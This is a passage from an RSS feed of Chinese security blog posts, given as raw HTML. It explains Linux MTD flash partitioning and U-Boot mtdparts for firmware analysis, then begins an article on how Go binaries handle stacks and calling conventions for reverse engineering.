&#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  MTD设备也有逻辑分区(mtd<strong style="line-height: 1.75;color: rgb(255, 118, 118);">x</strong>)，每个分区都起止于一个erase-block。MTD具体分区是通过内核对应的分区信息解析模块来决定(也可以是BootLoader完成分区)。在内核启动过程中分区信息可以通过下面几种方式传递：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• bootloaders可以在特定位置存放分区表信息</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 通过内核命令行发送分区信息(bootargs)</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 通过设备树</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 编译内核时在内核命令中写死分区信息(这种情况会覆盖BootLoader发送的命令)</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">例如：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;"><span style="color: rgb(230, 192, 123);">cat</span> /proc/mtd<br/>dev:    size   erasesize  name<br/>mtd0: 00020000 00010000 <span style="color: rgb(152, 195, 121);">&#34;u-boot&#34;</span><br/>mtd1: 00140000 00010000 <span style="color: rgb(152, 195, 121);">&#34;kernel&#34;</span><br/>mtd2: 00690000 00010000 <span style="color: rgb(152, 195, 121);">&#34;rootfs&#34;</span><br/>mtd3: 00530000 00010000 <span style="color: rgb(152, 195, 121);">&#34;rootfs_data&#34;</span><br/>mtd4: 00010000 00010000 <span style="color: rgb(152, 195, 121);">&#34;art&#34;</span><br/>mtd5: 007d0000 00010000 <span style="color: rgb(152, 195, 121);">&#34;firmware&#34;</span></code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">erasesize就是erase-block的大小(00010000 == 64KB)，而size指的是该mtd分区容量也是16进制。</p><h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">思考</h1><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">利用mtd分区分析固件</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于使用了mtd管理flash的固件，可以针对性的根据分区传递方式寻找分区信息来解构固件：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• bootloaders可以在特定位置存放分区表信息</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 通过内核命令行发送分区信息(bootargs)</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 通过设备树</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• 编译内核时在内核命令中写死分区信息(这种情况会覆盖BootLoader发送的命令)</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">对于BootLoader传递分区信息最常见的就是uboot的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">mtdparts</code>参数了，使用格式如下：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">* From <a href="https://github.com/u-boot/u-boot/blob/master/cmd/mtdparts.c" target="_blank">https://github.com/u-boot/u-boot/blob/master/cmd/mtdparts.c</a><br/>* mtdparts=[mtdparts=]&lt;mtd-def&gt;[;&lt;mtd-def&gt;...] //可以有多个mtd-def(mtd定义)<span style="color: rgb(152, 195, 121);">&#39;;&#39;</span>隔开<br/>*<br/>* &lt;mtd-def&gt;  := &lt;mtd-id&gt;:&lt;part-def&gt;[,&lt;part-def&gt;...]  //一个mtd设备组成部分，<span style="color: rgb(152, 195, 121);">&#39;mtd-id:part-def&#39;</span>必要<br/>* &lt;mtd-id&gt;   := unique device tag used by linux kernel to find mtd device (mtd-&gt;name) //flash设备<span style="color: rgb(230, 192, 123);">id</span><br/>* &lt;part-def&gt; := &lt;size&gt;[@&lt;offset&gt;][&lt;name&gt;][&lt;ro-flag&gt;] //分区定义，必须要size指定大小后面几个可选<br/>* &lt;size&gt;     := standard linux memsize OR <span style="color: rgb(152, 195, 121);">&#39;-&#39;</span> to denote all remaining space //单位使用标准linux memsize，<span style="color: rgb(152, 195, 121);">&#39;-&#39;</span>表示剩余所有空间<br/>* &lt;offset&gt;   := partition start offset within the device //分区偏移<br/>* &lt;name&gt;     := <span style="color: rgb(152, 195, 121);">&#39;(&#39;</span> NAME <span style="color: rgb(152, 195, 121);">&#39;)&#39;</span> //分区名<br/>* &lt;ro-flag&gt;  := when <span style="color: rgb(230, 192, 123);">set</span> to <span style="color: rgb(152, 195, 121);">&#39;ro&#39;</span> makes partition read-only (not used, passed to kernel) //告诉内核分区只读<br/>* Notes:<br/> * - each &lt;mtd-id&gt; used <span style="color: rgb(198, 120, 221);">in</span> mtdparts must albo exist <span style="color: rgb(198, 120, 221);">in</span> <span style="color: rgb(152, 195, 121);">&#39;mtddis&#39;</span> mapping  //mtdids环境变量指定了flash硬件平台，mtd-id使用时需要存在于mtdids中<br/> * - <span style="color: rgb(198, 120, 221);">if</span> the above variables are not <span style="color: rgb(230, 192, 123);">set</span> defaults <span style="color: rgb(198, 120, 221);">for</span> a given target are used<br/> <br/> * Examples:<br/>     * //这里定义了一块flash芯片，并且只有一个mtd分区<br/>     * 1 NOR Flash, with 1 single writable partition:<br/>     * mtdids=nor0=edb7312-nor<br/>     * mtdparts=[mtdparts=]edb7312-nor:-<br/>     * //这里定义了两块flash芯片分别是有两个分区的nor flash和一个分区的nand flash<br/>     * 1 NOR Flash with 2 partitions, 1 NAND with one<br/>     * mtdids=nor0=edb7312-nor,nand0=edb7312-nand<br/>     * mtdparts=[mtdparts=]edb7312-nor:256k(ARMboot)ro,-(root);edb7312-nand:-(home)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">例如下面是从某款路由器固件(基于openwrt)的内核中提取到的mtdparts参数：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">console=ttyS1,57600n8 root=/dev/mtdblock6 mtdparts=raspi:320k(u-boot)ro,64k(u-boot-env),64k(Factory),64k(product_info),64k(kdump),-(firmware)</code></pre><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">得到flash分区如下：</p><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mtd0：u-boot，大小320k，只读</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mtd1：u-boot-env，大小64k</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mdt2：Factory，大小64K</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mdt3：product_info，大小64K</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mtd4：kdump，64K</p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• mdt5：firmware，剩余空间</p></li></ul><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">这里firmware包含kernel和rootfs并且在固件包(升级)中也只包含这部分，但是加载完内核后一般会在初始化文件系统的过程中继续对firmware进行分区，进一步分出&#39;rootfs&#39;和&#39;rootfs_data&#39;用来构建OverlayFS系统：</p><pre style="color: rgb(171, 178, 191);background: rgb(40, 44, 52);font-size: 14px;letter-spacing: normal;text-align: left;line-height: 1.5;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;overflow-x: auto;border-radius: 8px;padding: 1em;margin: 10px 8px;"><code style="line-height: 1.75;font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;white-space-collapse: collapse;">~<span style="color: rgb(92, 99, 112);font-style: italic;"># cat /proc/mtd</span><br/>dev:    size   erasesize  name<br/>mtd0: 00050000 00010000 <span style="color: rgb(152, 195, 121);">&#34;u-boot&#34;</span><br/>mtd1: 00010000 00010000 <span style="color: rgb(152, 195, 121);">&#34;u-boot-env&#34;</span><br/>mtd2: 00010000 00010000 <span style="color: rgb(152, 195, 121);">&#34;Factory&#34;</span><br/>mtd3: 00010000 00010000 <span style="color: rgb(152, 195, 121);">&#34;product_info&#34;</span><br/>mtd4: 00010000 00010000 <span style="color: rgb(152, 195, 121);">&#34;kdump&#34;</span><br/>mtd5: 00770000 00010000 <span style="color: rgb(152, 195, 121);">&#34;firmware&#34;</span><br/>mtd6: 00545481 00010000 <span style="color: rgb(152, 195, 121);">&#34;rootfs&#34;</span><br/>mtd7: 000c0000 00010000 <span style="color: rgb(152, 195, 121);">&#34;rootfs_data&#34;</span></code></pre><h1 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 2em auto 1em;padding-right: 1em;padding-left: 1em;border-bottom: 2px solid rgb(255, 118, 118);color: rgb(63, 63, 63);">参考</h1><ul style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;padding-left: 1em;list-style: circle;color: rgb(63, 63, 63);" class="list-paddingleft-1"><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Linux overlayfs文件系统介绍-电子工程专辑 (eet-china.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• [<span style="line-height: 1.75;color: rgb(87, 107, 149);">OpenWrt Wiki] The OpenWrt Flash Layout</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">L&amp;Z|Iceway&#39;s Sharing and Recording.</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">OpenWrt 根文件系统启动过程分析（一） - thammer - 博客园 (cnblogs.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">Sources/fstools/mount_root.c (openwrt.org)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">u-boot/cmd/mtdparts.c at master · u-boot/u-boot (github.com)</span></p></li><li style="text-align: left;line-height: 1.75;text-indent: -1em;display: block;margin: 0.2em 8px;"><p>• <span style="line-height: 1.75;color: rgb(87, 107, 149);">MTD设备简介 (mickyching.github.io)</span></p></li></ul><p><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247486018">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=f0f9d9e9&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NzczOTA3OQ%3D%3D%26mid%3D2247486018%26idx%3D1%26sn%3Dd1a2a1bccb2376cb7197423f8ebb788a%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 31 Oct 2023 14:19:00 +0800</pubDate>
    </item>
    <item>
      <title>Go逆向研究</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NzczOTA3OQ==&amp;mid=2247486017&amp;idx=1&amp;sn=023e93d8527763ca706d16bfc3107390</link>
      <description>Go逆向研究</description>
      <content:encoded><![CDATA[<p>
原创 <span>时钟&amp;amp;邛笼石影</span> <span>2023-10-23 16:18</span> <span style="display: inline-block;">北京</span>
</p>

<p>Go逆向研究</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=edae81bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNobrsPhOmHV0BloclXOPiczyckRlApIIUHwfr55UqgBvo2KRyBib9e32Jw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.32" data-s="300,640" style="" data-type="png" data-w="1000" src="https://wechat2rss.xlab.app/img-proxy/?k=33786dee&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkb1yDnVcgIlvd3KG3vX76egiaDfKT3XbKmjGJjIa3foicznOnreTcvrRwtccfNAZ4I8TuibyIuNnkiatQ%2F640%3Fwx_fmt%3Dpng"/></p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">基础信息</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  go语言默认采用静态编译的策略，这意味着各种标准库和第三方库包括runtime和gc都会被全静态链接构建，这导致go二进制文件较大，同时go函数调用约定，数据结构和栈管理策略非常特殊，而且不同go版本之间的细节也存在很多差异，这一系列原因导致go逆向存在诸多难处。不过根据其特殊之处入手可以帮助进行符号恢复，字符串引用恢复等操作来帮助逆向工程师获得更好的体验。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">calling convention</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">不同go版本之间存在一定差异。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">stack</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  对于<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">go function</code>来说，它的栈设计本身就非常独特，因为操作系统下的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">threads managed</code>对用户来说已经完全被go runtime抽象，这使得用户只需要关注存在于用户空间的新抽象goroutines，这使得go runtime可以自己设置栈的行为准则。</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  当go函数启动的时候，首先就会为栈分配一个固定大小的空间，但是这个大小在不同版本之间存在差异，在go1.12的时候最小栈空间为2kb，但是go1.2变成了4kb，然后在go1.4再次变回2kb，我查看了目前的go1.20.1版本同样是2kb。然后在接下来的函数调用中会对栈空间是否合适进行检查，如果需要的话通过<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">runtime.morestack_noctxt</code>函数对栈空间进行扩充，这也对应了汇编中经常看到的<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">call prologue</code>（this particular prologue is present only in routines with local variables）：</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3047508690614137" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=580517e8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNor1kZ0HknPfmdAEEmlcliaPwm9d4TzOAZuXywfJef9EeicpzlGjwRqpRA%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">在进行栈扩充的时候采用整体Free重新分配的策略，同时一般每次<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">newsize := oldsize * 2</code>，如下：</p><figure style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;color: rgb(63, 63, 63);"><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.43684820393974505" data-s="300,640" style="" data-type="png" data-w="863" src="https://wechat2rss.xlab.app/img-proxy/?k=f961eb74&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FLxlshmzkAkY9lp68ylVUJKcvLJrAUNNoyeI5IFY3Jkpn61XuMZzR0uf2xsuR1rKDyEXs4BrHhr07WrSBAV0WiaQ%2F640%3Fwx_fmt%3Dpng"/></p><figcaption style="text-align: center;line-height: 1.75;color: rgb(136, 136, 136);font-size: 0.8em;"><br/></figcaption></figure><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  根据不同的架构，栈具有不同的最大值，栈的分配超过该值就会引发错误。同时如果需要的话，栈空间可以被gc回收，在回收的时候栈空间变化为<code style="white-space:pre-wrap;line-height: 1.75;font-size: 12.6px;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;">newsize := oldsize/2</code>，并且会复用之前的栈地址。另一个值得注意的点是自动go1.3之后开始，goroutine stacks的实现方式从segmented model转变为contiguous model，contiguous model优化了segmented model的hot split问题，这里就不细说，需要了解可以参考<span style="line-height: 1.75;color: rgb(87, 107, 149);">该链接</span>。</p><h2 style="letter-spacing: normal;text-wrap: wrap;text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 1.2em;font-weight: bold;display: table;margin: 4em auto 2em;padding-right: 0.2em;padding-left: 0.2em;background: rgb(255, 118, 118);color: rgb(255, 255, 255);">call arguments and return value</h2><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);">  在go中参数和返回值都会存储在caller的栈空间里面，存储返回值的空间会被预先分配，然后由被调用函数写入对应的值，通过这种方式go实现了多返回值机制，但是最新版的go语言中参数和返回值也可以在寄存器中传递：</p><p style="font-size: 14px;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;margin: 1.5em 8px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><a href="https://tip.golang.org/src/cmd/compile/abi-internal" target="_blank">https://tip.golang.org/src/cmd/compile/abi-internal</a></p><blockquote style="font-size: 14px;letter-spacing: normal;text-wrap: wrap;text-align: left;line-height: 1.75;font-family: -apple-system-font, 